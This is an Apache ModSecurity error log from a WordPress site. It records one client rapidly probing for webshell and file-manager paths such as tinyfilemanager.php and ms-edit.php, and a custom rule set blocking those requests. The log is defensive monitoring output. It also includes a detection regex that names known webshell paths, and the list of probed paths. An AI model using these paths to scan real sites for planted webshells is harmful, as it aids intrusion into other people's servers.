[Sun Mar 22 18:56:03.459771 2026] [:error] [pid 51363:tid 51453] [client 68.221.64.113:25878] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "ab_Kw1wa9x6OCTRkhl2AgAAAAJc"]
[Sun Mar 22 18:56:04.505783 2026] [:error] [pid 51363:tid 51431] [client 68.221.64.113:29265] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "ab_KxFwa9x6OCTRkhl2AigAAAIM"]
[Sun Mar 22 18:56:05.466248 2026] [:error] [pid 51363:tid 51441] [client 68.221.64.113:12967] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless5.php"] [unique_id "ab_KxVwa9x6OCTRkhl2AkAAAAIw"]
[Sun Mar 22 18:56:06.203698 2026] [:error] [pid 51363:tid 51451] [client 68.221.64.113:15151] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "ab_Kxlwa9x6OCTRkhl2AlgAAAJU"]
[Sun Mar 22 18:56:06.900469 2026] [:error] [pid 51363:tid 51444] [client 68.221.64.113:24491] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "ab_Kxlwa9x6OCTRkhl2AnwAAAI8"]
[Sun Mar 22 18:56:07.429654 2026] [:error] [pid 51363:tid 51436] [client 68.221.64.113:33911] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "ab_Kx1wa9x6OCTRkhl2ApAAAAIc"]
[Sun Mar 22 18:56:18.847970 2026] [:error] [pid 51363:tid 51434] [client 68.221.64.113:27083] [client 68.221.64.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "ab_K0lwa9x6OCTRkhl2A6QAAAIY"]
[Sun Mar 22 18:56:26.616546 2026] [autoindex:error] [pid 51362:tid 51416] [client 68.221.64.113:35812] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 22 18:56:28.183989 2026] [:error] [pid 51362:tid 51400] [client 68.221.64.113:35812] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "ab_K3MOwPm3DXzTDjUeZSAAAAEA"]
[Sun Mar 22 18:56:29.551109 2026] [:error] [pid 30166:tid 30200] [client 68.221.64.113:35814] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "ab_K3bm4_26jKMD0zy3LMAAAAVc"]
[Sun Mar 22 18:56:30.691577 2026] [:error] [pid 51363:tid 51447] [client 68.221.64.113:35799] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "ab_K3lwa9x6OCTRkhl2BEAAAAJE"]
[Sun Mar 22 18:56:31.695856 2026] [:error] [pid 51363:tid 51434] [client 68.221.64.113:33866] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "ab_K31wa9x6OCTRkhl2BGAAAAIY"]
[Sun Mar 22 18:56:32.316538 2026] [:error] [pid 51363:tid 51440] [client 68.221.64.113:30283] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "ab_K4Fwa9x6OCTRkhl2BHQAAAIs"]
[Sun Mar 22 18:56:33.285074 2026] [:error] [pid 51363:tid 51434] [client 68.221.64.113:30323] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "ab_K4Vwa9x6OCTRkhl2BIQAAAIY"]
[Sun Mar 22 18:56:36.194925 2026] [:error] [pid 40039:tid 40060] [client 68.221.64.113:52781] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "ab_K5B3aDgUJfBYishmhHwAAARM"]
[Sun Mar 22 18:56:36.994989 2026] [:error] [pid 51362:tid 51425] [client 68.221.64.113:4411] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "ab_K5MOwPm3DXzTDjUeZUwAAAFg"]
[Sun Mar 22 18:56:37.764413 2026] [:error] [pid 51363:tid 51450] [client 68.221.64.113:52783] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "ab_K5Vwa9x6OCTRkhl2BMgAAAJQ"]
[Sun Mar 22 18:56:38.836987 2026] [:error] [pid 51363:tid 51449] [client 68.221.64.113:21651] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "ab_K5lwa9x6OCTRkhl2BNwAAAJM"]
[Sun Mar 22 18:56:39.642856 2026] [:error] [pid 51363:tid 51447] [client 68.221.64.113:32277] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "ab_K51wa9x6OCTRkhl2BOwAAAJE"]
[Sun Mar 22 18:56:40.325842 2026] [:error] [pid 51363:tid 51434] [client 68.221.64.113:27038] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "ab_K6Fwa9x6OCTRkhl2BPwAAAIY"]
[Sun Mar 22 18:56:40.870548 2026] [:error] [pid 51468:tid 51500] [client 68.221.64.113:50784] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "ab_K6E2TppSvA8W5CBQ8hAAAANg"]
[Sun Mar 22 18:56:41.578200 2026] [:error] [pid 51361:tid 51392] [client 68.221.64.113:4883] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "ab_K6RXYUsdvKC9YWpXR5wAAABQ"]
[Sun Mar 22 18:56:42.125940 2026] [:error] [pid 51361:tid 51395] [client 68.221.64.113:50798] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "ab_K6hXYUsdvKC9YWpXR6AAAABY"]
[Sun Mar 22 18:56:43.400566 2026] [:error] [pid 30166:tid 30198] [client 68.221.64.113:4367] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "ab_K67m4_26jKMD0zy3LRQAAAVU"]
[Sun Mar 22 18:56:44.266473 2026] [:error] [pid 51362:tid 51402] [client 68.221.64.113:11743] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "ab_K7MOwPm3DXzTDjUeZZgAAAEI"]
[Sun Mar 22 18:56:45.646100 2026] [:error] [pid 51362:tid 51421] [client 68.221.64.113:27013] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "ab_K7cOwPm3DXzTDjUeZagAAAFQ"]
[Sun Mar 22 18:56:47.598945 2026] [:error] [pid 51361:tid 51397] [client 68.221.64.113:44278] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "ab_K7xXYUsdvKC9YWpXR-QAAABg"]
[Sun Mar 22 18:56:48.380339 2026] [:error] [pid 51362:tid 51413] [client 68.221.64.113:34216] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "ab_K8MOwPm3DXzTDjUeZbgAAAEw"]
[Sun Mar 22 18:56:49.250732 2026] [:error] [pid 51363:tid 51449] [client 68.221.64.113:15499] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ab_K8Vwa9x6OCTRkhl2BSQAAAJM"]
[Sun Mar 22 18:56:50.624284 2026] [:error] [pid 51363:tid 51439] [client 68.221.64.113:43749] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ab_K8lwa9x6OCTRkhl2BUAAAAIo"]
[Sun Mar 22 18:56:51.481515 2026] [:error] [pid 51361:tid 51374] [client 68.221.64.113:52764] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ab_K8xXYUsdvKC9YWpXR_gAAAAM"]
[Sun Mar 22 18:56:52.180773 2026] [:error] [pid 51362:tid 51407] [client 68.221.64.113:39478] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ab_K9MOwPm3DXzTDjUeZdAAAAEY"]
[Sun Mar 22 18:56:52.907811 2026] [:error] [pid 51362:tid 51424] [client 68.221.64.113:50788] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "ab_K9MOwPm3DXzTDjUeZdQAAAFc"]
[Sun Mar 22 18:56:53.765426 2026] [:error] [pid 51361:tid 51397] [client 68.221.64.113:34200] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "ab_K9RXYUsdvKC9YWpXSAQAAABg"]
[Sun Mar 22 18:56:54.547047 2026] [:error] [pid 51362:tid 51402] [client 68.221.64.113:15544] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "ab_K9sOwPm3DXzTDjUeZewAAAEI"]
[Sun Mar 22 18:56:55.311398 2026] [:error] [pid 51362:tid 51422] [client 68.221.64.113:24091] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "ab_K98OwPm3DXzTDjUeZgQAAAFU"]
[Sun Mar 22 18:56:55.992583 2026] [:error] [pid 51363:tid 51447] [client 68.221.64.113:10652] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "ab_K91wa9x6OCTRkhl2BYQAAAJE"]
[Sun Mar 22 18:56:56.998742 2026] [:error] [pid 51362:tid 51401] [client 68.221.64.113:4905] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "ab_K-MOwPm3DXzTDjUeZgwAAAEE"]
[Sun Mar 22 18:56:57.602383 2026] [:error] [pid 51363:tid 51439] [client 68.221.64.113:26411] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "ab_K-Vwa9x6OCTRkhl2BaQAAAIo"]
[Sun Mar 22 18:56:58.612622 2026] [:error] [pid 51363:tid 51431] [client 68.221.64.113:44267] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "ab_K-lwa9x6OCTRkhl2BcgAAAIM"]
[Sun Mar 22 18:56:59.163126 2026] [:error] [pid 51363:tid 51430] [client 68.221.64.113:13294] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "ab_K-1wa9x6OCTRkhl2BdgAAAII"]
[Sun Mar 22 18:56:59.720364 2026] [:error] [pid 51362:tid 51402] [client 68.221.64.113:18642] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "ab_K-8OwPm3DXzTDjUeZiQAAAEI"]
[Sun Mar 22 18:57:00.347502 2026] [:error] [pid 51363:tid 51431] [client 68.221.64.113:60370] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "ab_K_Fwa9x6OCTRkhl2BfQAAAIM"]
[Sun Mar 22 18:57:01.102669 2026] [:error] [pid 51363:tid 51434] [client 68.221.64.113:10628] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "ab_K_Vwa9x6OCTRkhl2BgwAAAIY"]
[Sun Mar 22 18:57:02.254893 2026] [:error] [pid 51362:tid 51409] [client 68.221.64.113:60408] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "ab_K_sOwPm3DXzTDjUeZigAAAEg"]
[Sun Mar 22 18:57:03.059997 2026] [:error] [pid 51363:tid 51432] [client 68.221.64.113:18613] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "ab_K_1wa9x6OCTRkhl2BjAAAAIQ"]
[Sun Mar 22 18:57:03.976675 2026] [:error] [pid 51362:tid 51414] [client 68.221.64.113:60360] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "ab_K_8OwPm3DXzTDjUeZjQAAAE0"]
[Sun Mar 22 18:57:04.751840 2026] [:error] [pid 51363:tid 51437] [client 68.221.64.113:10634] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "ab_LAFwa9x6OCTRkhl2BlQAAAIg"]
[Sun Mar 22 18:57:05.385913 2026] [:error] [pid 30166:tid 30198] [client 68.221.64.113:13960] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "ab_LAbm4_26jKMD0zy3LUQAAAVU"]
[Sun Mar 22 18:57:06.074805 2026] [:error] [pid 51362:tid 51412] [client 68.221.64.113:23700] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "ab_LAsOwPm3DXzTDjUeZkwAAAEs"]
[Sun Mar 22 18:57:06.781379 2026] [:error] [pid 51363:tid 51449] [client 68.221.64.113:25952] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "ab_LAlwa9x6OCTRkhl2BmwAAAJM"]
[Sun Mar 22 18:57:07.404478 2026] [:error] [pid 51468:tid 51498] [client 68.221.64.113:10635] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/155.php"] [unique_id "ab_LA02TppSvA8W5CBQ8jgAAANY"]
[Sun Mar 22 18:57:08.429066 2026] [:error] [pid 51363:tid 51448] [client 68.221.64.113:18592] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "ab_LBFwa9x6OCTRkhl2BngAAAJI"]
[Sun Mar 22 18:57:09.266839 2026] [:error] [pid 51363:tid 51453] [client 68.221.64.113:54259] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "ab_LBVwa9x6OCTRkhl2BoAAAAJc"]
[Sun Mar 22 18:57:10.066896 2026] [:error] [pid 51363:tid 51450] [client 68.221.64.113:14000] [client 68.221.64.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "ab_LBlwa9x6OCTRkhl2BogAAAJQ"]
